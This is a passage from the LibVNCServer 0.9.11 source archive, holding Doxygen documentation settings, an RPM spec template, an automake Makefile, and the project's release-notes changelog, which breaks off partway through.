GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can # be used to specify the location (absolute path including file name) of # the HTML help compiler (hhc.exe). If non-empty doxygen will try to run # the HTML help compiler on the generated index.hhp. HHC_LOCATION = # If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag # controls if a separate .chi index file is generated (YES) or that # it should be included in the master .chm file (NO). GENERATE_CHI = NO # If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING # is used to encode HtmlHelp index (hhk), content (hhc) and project file # content. CHM_INDEX_ENCODING = # If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag # controls whether a binary table of contents is generated (YES) or a # normal table of contents (NO) in the .chm file. BINARY_TOC = NO # The TOC_EXPAND flag can be set to YES to add extra items for group members # to the contents of the HTML help documentation and to the tree view. TOC_EXPAND = NO # If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and # QHP_VIRTUAL_FOLDER are set, an additional index file will be generated # that can be used as input for Qt's qhelpgenerator to generate a # Qt Compressed Help (.qch) of the generated HTML documentation. GENERATE_QHP = NO # If the QHG_LOCATION tag is specified, the QCH_FILE tag can # be used to specify the file name of the resulting .qch file. # The path specified is relative to the HTML output folder. QCH_FILE = # The QHP_NAMESPACE tag specifies the namespace to use when generating # Qt Help Project output. For more information please see # http://doc.trolltech.com/qthelpproject.html#namespace QHP_NAMESPACE = org.doxygen.Project # The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating # Qt Help Project output. For more information please see # http://doc.trolltech.com/qthelpproject.html#virtual-folders QHP_VIRTUAL_FOLDER = doc # If QHP_CUST_FILTER_NAME is set, it specifies the name of a custom filter to # add. For more information please see # http://doc.trolltech.com/qthelpproject.html#custom-filters QHP_CUST_FILTER_NAME = # The QHP_CUST_FILT_ATTRS tag specifies the list of the attributes of the # custom filter to add. For more information please see # # Qt Help Project / Custom Filters. QHP_CUST_FILTER_ATTRS = # The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this # project's # filter section matches. # # Qt Help Project / Filter Attributes. QHP_SECT_FILTER_ATTRS = # If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can # be used to specify the location of Qt's qhelpgenerator. # If non-empty doxygen will try to run qhelpgenerator on the generated # .qhp file. QHG_LOCATION = # If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files # will be generated, which together with the HTML files, form an Eclipse help # plugin. To install this plugin and make it available under the help contents # menu in Eclipse, the contents of the directory containing the HTML and XML # files needs to be copied into the plugins directory of eclipse. The name of # the directory within the plugins directory should be the same as # the ECLIPSE_DOC_ID value. After copying Eclipse needs to be restarted before # the help appears. GENERATE_ECLIPSEHELP = NO # A unique identifier for the eclipse help plugin. When installing the plugin # the directory name containing the HTML and XML files should also have # this name. ECLIPSE_DOC_ID = org.doxygen.Project # The DISABLE_INDEX tag can be used to turn on/off the condensed index at # top of each HTML page. The value NO (the default) enables the index and # the value YES disables it. DISABLE_INDEX = NO # This tag can be used to set the number of enum values (range [1..20]) # that doxygen will group on one line in the generated HTML documentation. ENUM_VALUES_PER_LINE = 4 # The GENERATE_TREEVIEW tag is used to specify whether a tree-like index # structure should be generated to display hierarchical information. # If the tag value is set to YES, a side panel will be generated # containing a tree-like index structure (just like the one that # is generated for HTML Help). For this to work a browser that supports # JavaScript, DHTML, CSS and frames is required (i.e. any modern browser). # Windows users are probably better off using the HTML help feature. GENERATE_TREEVIEW = NO # By enabling USE_INLINE_TREES, doxygen will generate the Groups, Directories, # and Class Hierarchy pages using a tree view instead of an ordered list. USE_INLINE_TREES = NO # If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be # used to set the initial width (in pixels) of the frame in which the tree # is shown. TREEVIEW_WIDTH = 250 # When the EXT_LINKS_IN_WINDOW option is set to YES doxygen will open # links to external symbols imported via tag files in a separate window. EXT_LINKS_IN_WINDOW = NO # Use this tag to change the font size of Latex formulas included # as images in the HTML documentation. The default is 10. Note that # when you change the font size after a successful doxygen run you need # to manually remove any form_*.png images from the HTML output directory # to force them to be regenerated. FORMULA_FONTSIZE = 10 # Use the FORMULA_TRANPARENT tag to determine whether or not the images # generated for formulas are transparent PNGs. Transparent PNGs are # not supported properly for IE 6.0, but are supported on all modern browsers. # Note that when changing this option you need to delete any form_*.png files # in the HTML output before the changes have effect. FORMULA_TRANSPARENT = YES # When the SEARCHENGINE tag is enabled doxygen will generate a search box # for the HTML output. The underlying search engine uses javascript # and DHTML and should work on any modern browser. Note that when using # HTML help (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets # (GENERATE_DOCSET) there is already a search function so this one should # typically be disabled. For large projects the javascript based search engine # can be slow, then enabling SERVER_BASED_SEARCH may provide a better solution. SEARCHENGINE = YES # When the SERVER_BASED_SEARCH tag is enabled the search engine will be # implemented using a PHP enabled web server instead of at the web client # using Javascript. Doxygen will generate the search PHP script and index # file to put on the web server. The advantage of the server # based approach is that it scales better to large projects and allows # full text search. The disadvances is that it is more difficult to setup # and does not have live searching capabilities. SERVER_BASED_SEARCH = NO #--------------------------------------------------------------------------- # configuration options related to the LaTeX output #--------------------------------------------------------------------------- # If the GENERATE_LATEX tag is set to YES (the default) Doxygen will # generate Latex output. GENERATE_LATEX = NO # The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `latex' will be used as the default path. LATEX_OUTPUT = latex # The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be # invoked. If left blank `latex' will be used as the default command name. # Note that when enabling USE_PDFLATEX this option is only used for # generating bitmaps for formulas in the HTML output, but not in the # Makefile that is written to the output directory. LATEX_CMD_NAME = latex # The MAKEINDEX_CMD_NAME tag can be used to specify the command name to # generate index for LaTeX. If left blank `makeindex' will be used as the # default command name. MAKEINDEX_CMD_NAME = makeindex # If the COMPACT_LATEX tag is set to YES Doxygen generates more compact # LaTeX documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_LATEX = NO # The PAPER_TYPE tag can be used to set the paper type that is used # by the printer. Possible values are: a4, a4wide, letter, legal and # executive. If left blank a4wide will be used. PAPER_TYPE = a4wide # The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX # packages that should be included in the LaTeX output. EXTRA_PACKAGES = # The LATEX_HEADER tag can be used to specify a personal LaTeX header for # the generated latex document. The header should contain everything until # the first chapter. If it is left blank doxygen will generate a # standard header. Notice: only use this tag if you know what you are doing! LATEX_HEADER = # If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated # is prepared for conversion to pdf (using ps2pdf). The pdf file will # contain links (just like the HTML output) instead of page references # This makes the output suitable for online browsing using a pdf viewer. PDF_HYPERLINKS = YES # If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of # plain latex in the generated Makefile. Set this option to YES to get a # higher quality PDF documentation. USE_PDFLATEX = YES # If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. # command to the generated LaTeX files. This will instruct LaTeX to keep # running if errors occur, instead of asking the user for help. # This option is also used when generating formulas in HTML. LATEX_BATCHMODE = NO # If LATEX_HIDE_INDICES is set to YES then doxygen will not # include the index chapters (such as File Index, Compound Index, etc.) # in the output. LATEX_HIDE_INDICES = NO # If LATEX_SOURCE_CODE is set to YES then doxygen will include # source code with syntax highlighting in the LaTeX output. # Note that which sources are shown also depends on other settings # such as SOURCE_BROWSER. LATEX_SOURCE_CODE = NO #--------------------------------------------------------------------------- # configuration options related to the RTF output #--------------------------------------------------------------------------- # If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output # The RTF output is optimized for Word 97 and may not look very pretty with # other RTF readers or editors. GENERATE_RTF = NO # The RTF_OUTPUT tag is used to specify where the RTF docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `rtf' will be used as the default path. RTF_OUTPUT = rtf # If the COMPACT_RTF tag is set to YES Doxygen generates more compact # RTF documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_RTF = NO # If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated # will contain hyperlink fields. The RTF file will # contain links (just like the HTML output) instead of page references. # This makes the output suitable for online browsing using WORD or other # programs which support those fields. # Note: wordpad (write) and others do not support links. RTF_HYPERLINKS = NO # Load stylesheet definitions from file. Syntax is similar to doxygen's # config file, i.e. a series of assignments. You only have to provide # replacements, missing definitions are set to their default value. RTF_STYLESHEET_FILE = # Set optional variables used in the generation of an rtf document. # Syntax is similar to doxygen's config file. RTF_EXTENSIONS_FILE = #--------------------------------------------------------------------------- # configuration options related to the man page output #--------------------------------------------------------------------------- # If the GENERATE_MAN tag is set to YES (the default) Doxygen will # generate man pages GENERATE_MAN = NO # The MAN_OUTPUT tag is used to specify where the man pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `man' will be used as the default path. MAN_OUTPUT = man # The MAN_EXTENSION tag determines the extension that is added to # the generated man pages (default is the subroutine's section .3) MAN_EXTENSION = .3 # If the MAN_LINKS tag is set to YES and Doxygen generates man output, # then it will generate one additional man file for each entity # documented in the real man page(s). These additional files # only source the real man page, but without them the man command # would be unable to find the correct page. The default is NO. MAN_LINKS = NO #--------------------------------------------------------------------------- # configuration options related to the XML output #--------------------------------------------------------------------------- # If the GENERATE_XML tag is set to YES Doxygen will # generate an XML file that captures the structure of # the code including all documentation. GENERATE_XML = NO # The XML_OUTPUT tag is used to specify where the XML pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `xml' will be used as the default path. XML_OUTPUT = xml # The XML_SCHEMA tag can be used to specify an XML schema, # which can be used by a validating XML parser to check the # syntax of the XML files. XML_SCHEMA = # The XML_DTD tag can be used to specify an XML DTD, # which can be used by a validating XML parser to check the # syntax of the XML files. XML_DTD = # If the XML_PROGRAMLISTING tag is set to YES Doxygen will # dump the program listings (including syntax highlighting # and cross-referencing information) to the XML output. Note that # enabling this will significantly increase the size of the XML output. XML_PROGRAMLISTING = YES #--------------------------------------------------------------------------- # configuration options for the AutoGen Definitions output #--------------------------------------------------------------------------- # If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will # generate an AutoGen Definitions (see autogen.sf.net) file # that captures the structure of the code including all # documentation. Note that this feature is still experimental # and incomplete at the moment. GENERATE_AUTOGEN_DEF = NO #--------------------------------------------------------------------------- # configuration options related to the Perl module output #--------------------------------------------------------------------------- # If the GENERATE_PERLMOD tag is set to YES Doxygen will # generate a Perl module file that captures the structure of # the code including all documentation. Note that this # feature is still experimental and incomplete at the # moment. GENERATE_PERLMOD = NO # If the PERLMOD_LATEX tag is set to YES Doxygen will generate # the necessary Makefile rules, Perl scripts and LaTeX code to be able # to generate PDF and DVI output from the Perl module output. PERLMOD_LATEX = NO # If the PERLMOD_PRETTY tag is set to YES the Perl module output will be # nicely formatted so it can be parsed by a human reader. This is useful # if you want to understand what is going on. On the other hand, if this # tag is set to NO the size of the Perl module output will be much smaller # and Perl will parse it just the same. PERLMOD_PRETTY = YES # The names of the make variables in the generated doxyrules.make file # are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. # This is useful so different doxyrules.make files included by the same # Makefile don't overwrite each other's variables. PERLMOD_MAKEVAR_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the preprocessor #--------------------------------------------------------------------------- # If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will # evaluate all C-preprocessor directives found in the sources and include # files. ENABLE_PREPROCESSING = YES # If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro # names in the source code. If set to NO (the default) only conditional # compilation will be performed. Macro expansion can be done in a controlled # way by setting EXPAND_ONLY_PREDEF to YES. MACRO_EXPANSION = NO # If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES # then the macro expansion is limited to the macros specified with the # PREDEFINED and EXPAND_AS_DEFINED tags. EXPAND_ONLY_PREDEF = NO # If the SEARCH_INCLUDES tag is set to YES (the default) the includes files # in the INCLUDE_PATH (see below) will be search if a #include is found. SEARCH_INCLUDES = YES # The INCLUDE_PATH tag can be used to specify one or more directories that # contain include files that are not input files but should be processed by # the preprocessor. INCLUDE_PATH = # You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard # patterns (like *.h and *.hpp) to filter out the header-files in the # directories. If left blank, the patterns specified with FILE_PATTERNS will # be used. INCLUDE_FILE_PATTERNS = # The PREDEFINED tag can be used to specify one or more macro names that # are defined before the preprocessor is started (similar to the -D option of # gcc). The argument of the tag is a list of macros of the form: name # or name=definition (no spaces). If the definition and the = are # omitted =1 is assumed. To prevent a macro definition from being # undefined via #undef or recursively expanded use the := operator # instead of the = operator. PREDEFINED = # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then # this tag can be used to specify a list of macro names that should be expanded. # The macro definition that is found in the sources will be used. # Use the PREDEFINED tag if you want to use a different macro definition. EXPAND_AS_DEFINED = # If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then # doxygen's preprocessor will remove all function-like macros that are alone # on a line, have an all uppercase name, and do not end with a semicolon. Such # function macros are typically used for boiler-plate code, and will confuse # the parser if not removed. SKIP_FUNCTION_MACROS = YES #--------------------------------------------------------------------------- # Configuration::additions related to external references #--------------------------------------------------------------------------- # The TAGFILES option can be used to specify one or more tagfiles. # Optionally an initial location of the external documentation # can be added for each tagfile. The format of a tag file without # this location is as follows: # TAGFILES = file1 file2 ... # Adding location for the tag files is done as follows: # TAGFILES = file1=loc1 "file2 = loc2" ... # where "loc1" and "loc2" can be relative or absolute paths or # URLs. If a location is present for each tag, the installdox tool # does not have to be run to correct the links. # Note that each tag file must have a unique name # (where the name does NOT include the path) # If a tag file is not located in the directory in which doxygen # is run, you must also specify the path to the tagfile here. TAGFILES = # When a file name is specified after GENERATE_TAGFILE, doxygen will create # a tag file that is based on the input files it reads. GENERATE_TAGFILE = # If the ALLEXTERNALS tag is set to YES all external classes will be listed # in the class index. If set to NO only the inherited external classes # will be listed. ALLEXTERNALS = NO # If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed # in the modules index. If set to NO, only the current project's groups will # be listed. EXTERNAL_GROUPS = YES # The PERL_PATH should be the absolute path and name of the perl script # interpreter (i.e. the result of `which perl'). PERL_PATH = /usr/bin/perl #--------------------------------------------------------------------------- # Configuration options related to the dot tool #--------------------------------------------------------------------------- # If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will # generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base # or super classes. Setting the tag to NO turns the diagrams off. Note that # this option is superseded by the HAVE_DOT option below. This is only a # fallback. It is recommended to install and use dot, since it yields more # powerful graphs. CLASS_DIAGRAMS = NO # You can define message sequence charts within doxygen comments using the \msc # command. Doxygen will then run the mscgen tool (see # http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the # documentation. The MSCGEN_PATH tag allows you to specify the directory where # the mscgen tool resides. If left empty the tool is assumed to be found in the # default search path. MSCGEN_PATH = # If set to YES, the inheritance and collaboration graphs will hide # inheritance and usage relations if the target is undocumented # or is not a class. HIDE_UNDOC_RELATIONS = YES # If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is # available from the path. This tool is part of Graphviz, a graph visualization # toolkit from AT&T and Lucent Bell Labs. The other options in this section # have no effect if this option is set to NO (the default) HAVE_DOT = YES # The DOT_NUM_THREADS specifies the number of dot invocations doxygen is # allowed to run in parallel. When set to 0 (the default) doxygen will # base this on the number of processors available in the system. You can set it # explicitly to a value larger than 0 to get control over the balance # between CPU load and processing speed. DOT_NUM_THREADS = 0 # By default doxygen will write a font called FreeSans.ttf to the output # directory and reference it in all dot files that doxygen generates. This # font does not include all possible unicode characters however, so when you need # these (or just want a differently looking font) you can specify the font name # using DOT_FONTNAME. You need need to make sure dot is able to find the font, # which can be done by putting it in a standard location or by setting the # DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory # containing the font. DOT_FONTNAME = FreeSans.ttf # The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. # The default size is 10pt. DOT_FONTSIZE = 10 # By default doxygen will tell dot to use the output directory to look for the # FreeSans.ttf font (which doxygen will put there itself). If you specify a # different font using DOT_FONTNAME you can set the path where dot # can find it using this tag. DOT_FONTPATH = # If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen # will generate a graph for each documented class showing the direct and # indirect inheritance relations. Setting this tag to YES will force the # the CLASS_DIAGRAMS tag to NO. CLASS_GRAPH = NO # If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen # will generate a graph for each documented class showing the direct and # indirect implementation dependencies (inheritance, containment, and # class references variables) of the class with other documented classes. COLLABORATION_GRAPH = NO # If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen # will generate a graph for groups, showing the direct groups dependencies GROUP_GRAPHS = YES # If the UML_LOOK tag is set to YES doxygen will generate inheritance and # collaboration diagrams in a style similar to the OMG's Unified Modeling # Language. UML_LOOK = NO # If set to YES, the inheritance and collaboration graphs will show the # relations between templates and their instances. TEMPLATE_RELATIONS = NO # If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT # tags are set to YES then doxygen will generate a graph for each documented # file showing the direct and indirect include dependencies of the file with # other documented files. INCLUDE_GRAPH = YES # If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and # HAVE_DOT tags are set to YES then doxygen will generate a graph for each # documented header file showing the documented files that directly or # indirectly include this file. INCLUDED_BY_GRAPH = YES # If the CALL_GRAPH and HAVE_DOT options are set to YES then # doxygen will generate a call dependency graph for every global function # or class method. Note that enabling this option will significantly increase # the time of a run. So in most cases it will be better to enable call graphs # for selected functions only using the \callgraph command. CALL_GRAPH = YES # If the CALLER_GRAPH and HAVE_DOT tags are set to YES then # doxygen will generate a caller dependency graph for every global function # or class method. Note that enabling this option will significantly increase # the time of a run. So in most cases it will be better to enable caller # graphs for selected functions only using the \callergraph command. CALLER_GRAPH = YES # If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen # will graphical hierarchy of all classes instead of a textual one. GRAPHICAL_HIERARCHY = NO # If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES # then doxygen will show the dependencies a directory has on other directories # in a graphical way. The dependency relations are determined by the #include # relations between the files in the directories. DIRECTORY_GRAPH = YES # The DOT_IMAGE_FORMAT tag can be used to set the image format of the images # generated by dot. Possible values are png, jpg, or gif # If left blank png will be used. DOT_IMAGE_FORMAT = png # The tag DOT_PATH can be used to specify the path where the dot tool can be # found. If left blank, it is assumed the dot tool can be found in the path. DOT_PATH = # The DOTFILE_DIRS tag can be used to specify one or more directories that # contain dot files that are included in the documentation (see the # \dotfile command). DOTFILE_DIRS = # The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of # nodes that will be shown in the graph. If the number of nodes in a graph # becomes larger than this value, doxygen will truncate the graph, which is # visualized by representing a node as a red box. Note that doxygen if the # number of direct children of the root node in a graph is already larger than # DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note # that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. DOT_GRAPH_MAX_NODES = 50 # The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the # graphs generated by dot. A depth value of 3 means that only nodes reachable # from the root by following a path via at most 3 edges will be shown. Nodes # that lay further from the root node will be omitted. Note that setting this # option to 1 or 2 may greatly reduce the computation time needed for large # code bases. Also note that the size of a graph can be further restricted by # DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. MAX_DOT_GRAPH_DEPTH = 0 # Set the DOT_TRANSPARENT tag to YES to generate images with a transparent # background. This is disabled by default, because dot on Windows does not # seem to support this out of the box. Warning: Depending on the platform used, # enabling this option may lead to badly anti-aliased labels on the edges of # a graph (i.e. they become hard to read). DOT_TRANSPARENT = NO # Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output # files in one run (i.e. multiple -o and -T options on the command line). This # makes dot run faster, but since only newer versions of dot (>1.8.10) # support this, this feature is disabled by default. DOT_MULTI_TARGETS = NO # If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will # generate a legend page explaining the meaning of the various boxes and # arrows in the dot generated graphs. GENERATE_LEGEND = YES # If the DOT_CLEANUP tag is set to YES (the default) Doxygen will # remove the intermediate dot files that are used to generate # the various graphs. DOT_CLEANUP = YES libvncserver-LibVNCServer-0.9.11/LibVNCServer.spec.in000077500000000000000000000052621303145525000223030ustar00rootroot00000000000000# Note that this is NOT a relocatable package Name: @PACKAGE@ Version: @VERSION@ Release: 2 Summary: a library to make writing a vnc server easy Copyright: GPL Group: Libraries/Network Packager: Johannes.Schindelin Source: %{name}-%{version}.tar.gz BuildRoot: %{_tmppath}/%{name}-%{version}-buildroot %description LibVNCServer makes writing a VNC server (or more correctly, a program exporting a framebuffer via the Remote Frame Buffer protocol) easy. It is based on OSXvnc, which in turn is based on the original Xvnc by ORL, later AT&T research labs in UK. It hides the programmer from the tedious task of managing clients and compression schemata. LibVNCServer was put together and is (actively ;-) maintained by Johannes Schindelin %package devel Requires: %{name} = %{version} Summary: Static Libraries and Header Files for LibVNCServer Group: Libraries/Network Requires: %{name} = %{version} %description devel Static Libraries and Header Files for LibVNCServer. %package x11vnc Requires: %{name} = %{version} Summary: VNC server for the current X11 session Group: User Interface/X Requires: %{name} = %{version} %description x11vnc x11vnc is to X Window System what WinVNC is to Windows, i.e. a server which serves the current X Window System desktop via RFB (VNC) protocol to the user. Based on the ideas of x0rfbserver and on LibVNCServer, it has evolved into a versatile and performant while still easy to use program. %prep %setup -n %{name}-%{version} %build # CFLAGS="$RPM_OPT_FLAGS" ./configure --prefix=%{_prefix} %configure make %install [ -n "%{buildroot}" -a "%{buildroot}" != / ] && rm -rf %{buildroot} # make install prefix=%{buildroot}%{_prefix} %makeinstall includedir="%{buildroot}%{_includedir}/rfb" %{__install} -d -m0755 %{buildroot}%{_datadir}/x11vnc/classes %{__install} webclients/VncViewer.jar webclients/index.vnc \ %{buildroot}%{_datadir}/x11vnc/classes %clean [ -n "%{buildroot}" -a "%{buildroot}" != / ] && rm -rf %{buildroot} %pre %post %preun %postun %files %defattr(-,root,root) %doc README INSTALL AUTHORS ChangeLog NEWS TODO %{_bindir}/LinuxVNC %{_bindir}/libvncserver-config %{_libdir}/libvncclient.* %{_libdir}/libvncserver.* %files devel %defattr(-,root,root) %{_includedir}/rfb/* %files x11vnc %defattr(-,root,root) %{_bindir}/x11vnc %{_mandir}/man1/x11vnc.1* %{_datadir}/x11vnc/classes %changelog * Fri Aug 19 2005 Alberto Lusiani release 2 - create separate package for x11vnc to prevent conflicts with x11vnc rpm - create devel package, needed to compile but not needed for running * Sun Feb 9 2003 Johannes Schindelin - created libvncserver.spec.in libvncserver-LibVNCServer-0.9.11/Makefile.am000066400000000000000000000013451303145525000206050ustar00rootroot00000000000000ACLOCAL_AMFLAGS = -I m4 SUBDIRS=libvncserver examples libvncclient webclients client_examples test DIST_SUBDIRS=libvncserver examples libvncclient webclients client_examples test EXTRA_DIST = CMakeLists.txt rfb/rfbconfig.h.cmake bin_SCRIPTS = libvncserver-config pkgconfigdir = $(libdir)/pkgconfig pkgconfig_DATA = libvncserver.pc libvncclient.pc includedir=$(prefix)/include/rfb include_HEADERS=rfb/rfb.h rfb/rfbconfig.h rfb/rfbproto.h \ rfb/keysym.h rfb/rfbregion.h rfb/rfbclient.h $(PACKAGE)-$(VERSION).tar.gz: dist if HAVE_RPM # Rule to build RPM distribution package rpm: $(PACKAGE)-$(VERSION).tar.gz $(PACKAGE).spec cp $(PACKAGE)-$(VERSION).tar.gz @RPMSOURCEDIR@ rpmbuild -ba $(PACKAGE).spec endif t: $(MAKE) -C test test libvncserver-LibVNCServer-0.9.11/NEWS000066400000000000000000000317041303145525000172520ustar00rootroot000000000000000.9.11 - Overall changes: * LibVNCServer/LibVNCClient development now uses continous intregration, provided by TravisCI. - LibVNCClient: * Now initializes libgcrypt before use if the application did not do it. Fixes a crash when connection to Mac hosts (https://github.com/LibVNC/libvncserver/issues/45). * Various fixes that result in more stable handling of malicious or broken servers. * Removed broken and unmaintained H264 decoding. * Some documentation fixes. * Added hooks to WriteToTLS() for optional protection by mutex. - LibVNCServer: * Stability fixes for the WebSocket implementation. * Replaced SHA1 implementation with the one from RFC 6234. * The built-in HTTP server does not allow directory traversals anymore. * The built-in HTTP now sends correct MIME types for CSS and SVG. * Added support for systemd socket activation. * Made it possible to get autoPort behavior with either ipv4 or ipv6 disabled. * Fixed starting of an onHold-client in threaded mode. 0.9.10 - Overall changes: * Moved the whole project from sourceforge to https://libvnc.github.io/. * Cleaned out the autotools build system which now uses autoreconf. * Updated noVNC HTML5 client to latest version. * Split out x11vnc sources into separate repository at https://github.com/LibVNC/x11vnc * Split out vncterm sources into separate repository at https://github.com/LibVNC/vncterm * Split out VisualNaCro sources into separate repository at https://github.com/LibVNC/VisualNaCro * Merged Debian patches. - LibVNCServer/LibVNCClient: * Fixed some security-related buffer overflow cases. * Added compatibility headers to make LibVNCServer/LibVNCClient build on native Windows 8. * Update LZO to version 2.07, fixing CVE-2014-4607. - LibVNCServer: * Merged patches from KDE/krfb. * Can now do IPv6 without IPv4. * Fixed a use-after-free issue in scale.c. 0.9.9 - Overall changes: * Added noVNC HTML5 VNC viewer (http://kanaka.github.com/noVNC/) connect possibility to our http server. Pure JavaScript, no Java plugin required anymore! (But a recent browser...) * Added a GTK+ VNC viewer example. - LibVNCServer/LibVNCClient: * Added support to build for Google Android. * Complete IPv6 support in both LibVNCServer and LibVNCClient. - LibVNCServer: * Split two event-loop related functions out of the rfbProcessEvents() mechanism. This is required to be able to do proper event loop integration with Qt. Idea was taken from Vino's libvncserver fork. * Added TightPNG (http://wiki.qemu.org/VNC_Tight_PNG) encoding support. Like the original Tight encoding, this still uses JPEG, but ZLIB encoded rects are encoded with PNG here. * Added suport for serving VNC sessions through WebSockets (http://en.wikipedia.org/wiki/WebSocket), a web technology providing for multiplexing bi-directional, full-duplex communications channels over a single TCP connection. * Support connections from the Mac OS X built-in VNC client to LibVNCServer instances running with no password. * Replaced the Tight encoder with a TurboVNC one which is tremendously faster in most cases, especially with high-color video or 3D workloads. (http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf) - LibVNCClient: * Added support to only listen for reverse connections on a specific IP address. * Support for using OpenSSL instead of GnuTLS. This could come in handy on embedded devices where only this TLS implementation is available. * Added support to connect to UltraVNC Single Click servers. 0.9.8.2 - Fixed a regression that crept in with the Apple Remote Desktop support. 0.9.8.1 - Fixed an ABI compatibility issue. 0.9.8 - Overall changes: * Automagically generated API documentation using doxygen. * Added support for pkg-config. * Fixed Mingw32 cross compilation. * Fixed CMake build system. - LibVNCServer/LibVNCClient: * All files used by _both_ LibVNCServer and LibVNCClient were put into a 'common' directory, reducing code duplication. * Implemented xvp VNC extension. * Updated minilzo library used for Ultra encoding to ver 2.04. According to the minilzo README, this brings a significant speedup on 64-bit architectures. - LibVNCServer: * Thread safety for ZRLE, Zlib, Tight, RRE, CoRRE and Ultra encodings. This makes all VNC encodings safe to use with a multithreaded server. * A DisplayFinishedHook for LibVNCServer. If set, this hook gets called just before rfbSendFrameBufferUpdate() returns. * Fix for tight security type for RFB 3.8 in TightVNC file transfer (Debian Bug #517422). - LibVNCClient: * Unix sockets support. * Anonymous TLS security type support. * VeNCrypt security type support. * MSLogon security type support. * ARD (Apple Remote Desktop) security type support. * UltraVNC Repeater support. * A new FinishedFrameBufferUpdate callback that is invoked after each complete framebuffer update. * A new non-forking listen (reverse VNC) function that works under Windows. * IPv6 support. LibVNCClient is now able to connect to IPv6 VNC servers. * IP QoS support. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets sent by a client. For example starting a client with -qosdscp 184 marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. * Fixed hostname resolution problems under Windows. - SDLvncviewer * Is now resizable and can do key repeat, mouse wheel scrolling and clipboard copy and paste. - LinuxVNC: * Fix for no input possible because of ctrl key being stuck. Issue was reported as Debian bug #555988. 0.9.7 Mark sent me patches to no longer need C++ for ZRLE encoding! added --disable-cxx Option for configure x11vnc changes from Karl Runge: - Changed all those whimpy printf(...)'s into manly fprintf(stdxxx,...)'s. - Added -q switch (quiet) to suppress printing all the debug-looking output. - Added -bg switch to fork into background after everything is set up. (checks for LIBVNCSERVER_HAVE_FORK and LIBVNCSERVER_HAVE_SETSID) - Print this string out to stdout: 'PORT=XXXX' (usually XXXX = 5900). Combining with -bg, easy to write a ssh/rsh wrapper with something like: port=`ssh $host "x11vnc -bg .."` then run vncviewer based on $port output. (tunneling the vnc traffic through ssh a bit more messy, but doable) - Quite a bit of code to be more careful when doing 8bpp indexed color, e.g. not assuming NCOLORS is 256, handling 8bit TrueColor and Direct Color, etc (I did all this probably in April, not quite clear in my mind now, but I did test it out a fair amount on my old Sparcstation 20 wrt a user's questions). introduce rfbErr for Errors (Erik) make rfbLog overridable (suggested by Erik) don't reutrn on EINTR in WriteExact()/ReadExact() (suggested by Erik) use AX_PREFIX_CONFIG_H to prefix constants in config.h to avoid name clashes (also suggested by Erik) transformed Bool, KeySym, Pixel to rfbBool, rfbKeySym, rfbPixel (as suggested by Erik) purged exit() calls (suggested by Erik) fixed bug with maxRectsPerUpdate and Tight Encoding (these are incompatible) checked sync with TightVNC 1.2.8: viewonly/full passwords; if given a list, only the first is a full one vncRandomBytes is a little more secure now new weights for tight encoding checked sync with RealVNC 3.3.7 introduced maxRectsPerUpdate added first alpha version of LibVNCClient added simple and simple15 example (really simple examples) finally got around to fix configure in CVS long standing http bug (.jar was sent twice) fixed by a friend of Karl named Mike http options in cargs when closing a client and no longer listening for 